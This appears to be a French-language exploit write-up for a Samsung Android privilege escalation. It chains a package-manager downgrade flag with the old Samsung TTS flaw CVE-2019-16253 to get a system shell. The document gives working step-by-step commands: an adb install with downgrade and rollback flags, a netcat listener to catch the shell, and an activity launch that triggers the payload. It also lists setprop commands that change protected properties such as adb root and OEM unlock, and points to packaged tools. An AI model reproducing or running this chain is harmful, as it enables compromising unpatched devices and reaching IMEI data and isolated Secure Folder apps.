
Exploit que j'ai découvert en octobre 2022 avec le binaire Package Manager d'Android (pm) et la façon dont il gérait les indicateurs de débogage, corrigé en mars 2023. Utilise CVE-2019-16253 comme payload pour obtenir un shell système.
En 2019, une vulnérabilité qui sera connue sous le nom de « CVE-2019-16253 » a été découverte affectant le moteur TTS de Samsung dans les versions antérieures à 3.0.02.7. Cet exploit permettait à un attaquant local d'élever ses privilèges jusqu'aux privilèges système et a ensuite été corrigé par Samsung.
Essentiellement, l'application TTS de Samsung acceptait aveuglément toutes les données reçues du moteur TTS. On peut transmettre au moteur TTS une bibliothèque qui sera ensuite donnée à l'application TTS, qui à son tour chargera cette bibliothèque et l'exécutera avec les privilèges système, UID 1000 sur Android. Cela a ensuite été corrigé pour que l'application TTS vérifie les données provenant du moteur, ainsi que la version installée, fermant ainsi cette faille particulière.
Cependant, avec Android 10, Google a introduit la possibilité de restaurer une application en l'installant avec le paramètre ENABLE_ROLLBACK. Cela permet à l'utilisateur de revenir à une version antérieure d'une application installée sur l'appareil. Je pense qu'un oubli a permis d'étendre cela à l'application de synthèse vocale de Samsung, ainsi qu'à toute application sur tout appareil Android 10+ actuellement en circulation.
La racine de cette chaîne de destruction remonte au flag '-d' ajouté à la commande package-manager lors de l'installation d'une application. Cela ne devrait fonctionner que pour les applications débogables, mais cela fonctionne aussi pour les applications non débogables, et c'est pourquoi l'application TTS peut être rétrogradée de force.
En d'autres termes, alors que l'exploit de 2019 a été corrigé et qu'une version mise à jour de l'application TTS a été distribuée, d'abord un, maintenant plusieurs contournements et bypass pour installer et exploiter cette vulnérabilité sur des appareils sortis trois (et peut-être quatre) ans plus tard ont été découverts, soulevant des questions sur le nombre d'exploits passés qui sont revivifiables.
En mars, Samsung a publié un correctif pour l'exploit, mais j'ai rapidement trouvé un contournement pour le correctif de mars de Samsung, qui a depuis été signalé et corrigé également, concluant ainsi la saga de deux ans du tristement célèbre « TTS System Shell ».
Guide simple --
1 Installez tous les apks, ouvrez-les au moins une fois.
2 Redémarrez, lorsque l'appareil redémarre, exécutez la commande suivante depuis ADB.
"adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk "
3 dans une console, tapez nc -lp 9999
4 Exécutez la commande suivante dans une seconde console : adb shell am start -n com.samsung.SMT/.gui.DownloadList
TERMINÉ.
si vous avez des problèmes de démarrage, désinstallez complètement SMT (Samsung Text-To-Speech), puis réinstallez la version vulnérable et recommencez à partir de l'étape 3.
CORRIGÉ DEPUIS 02/2023 Comme vu sur XDA avant que la divulgation publique ne soit supprimée par les modérateurs de XDA. Sinon, cela restera inchangé ici en tant qu'archive.
Cela devrait fonctionner pour tous les appareils mobiles Samsung fabriqués au moment de la rédaction de cet article, à l'exception de certains appareils JDM. (01/19/2023)
Choses sympas qui fonctionnent : Accès à la plupart de /efs /efs/imei /efs/sec_efs /efs/FactoryApp - Accès à la plupart de /data /data/system /data/user/0/ANY_SYSTEM_APP - Le binaire « Insthk » devient utilisable, - Secure Folder/Applications séparées devient COMPLÈTEMENT compromis si vous installez également le POC dedans (UID 150_system) - démarrer le menu IOTHidden, le mode DM, le mode service, le débogage multiple et les menus cachés ainsi que la préconfiguration dans le contexte système- Modifier de nombreuses propriétés protégées, telles que : setprop persist.service.adb.root 1 setprop service.adb.root 1 setprop sys.hidden.otatest 1 setprop sys.hiddenmenu.enable 1 setprop persist.sys.knox.device_owner true setprop persist.sys.usb.qxdm.debug 1 setprop sys.usb.qxdm.debug 1 setprop presist.service.adb.enable 1 setprop persist.sys.usb.qxdm.debug 1 setprop service.adb.enable 1 setprop persist.rollback.is_test true setprop sys.oem_unlock_allowed 1 ainsi que bien d'autres.
La méthode simple - Étape 1 - Téléchargez « Komraids System Shell.zip », (la version la plus récente est jointe) et extrayez-le n'importe où sur le bureau. Étape 2 - Poussez le fichier « samsungTTSVULN2.apk » vers /data/local/tmp Étape 3 - Assurez-vous que le débogage USB est activé et que l'ordinateur est autorisé. Assurez-vous également que l'économie d'énergie est désactivée. Étape 4 - Installez komraids_POC_V1.5.apk, redémarrez l'appareil. Étape 5 - Lorsque l'appareil a complètement redémarré et est déverrouillé, exécutez systemshell.exe Étape 6 - Vous devriez maintenant être dans un shell avec UID 1000. Profitez-en. Soyez prudent avec ce que vous manipulez.
Notes : Le .exe ne doit être exécuté qu'une fois après chaque redémarrage, vous pouvez l'utiliser si vous préférez, ou bien vous pouvez ouvrir manuellement un shell système vous-même, en suivant l'étape 5 de la section « Comment ça marche ? » ci-dessous.
Ne soyez pas stupide, je ne suis pas responsable des conneries que vous pourriez faire. PWNED - K0mraid3 2022-10-06 175216.png
Un grand merci à @oakieville pour le .exe et pour l'aide précieuse à peaufiner le code de ce projet.
Ce projet vous a été offert par VAULT-TEC Dev Ops !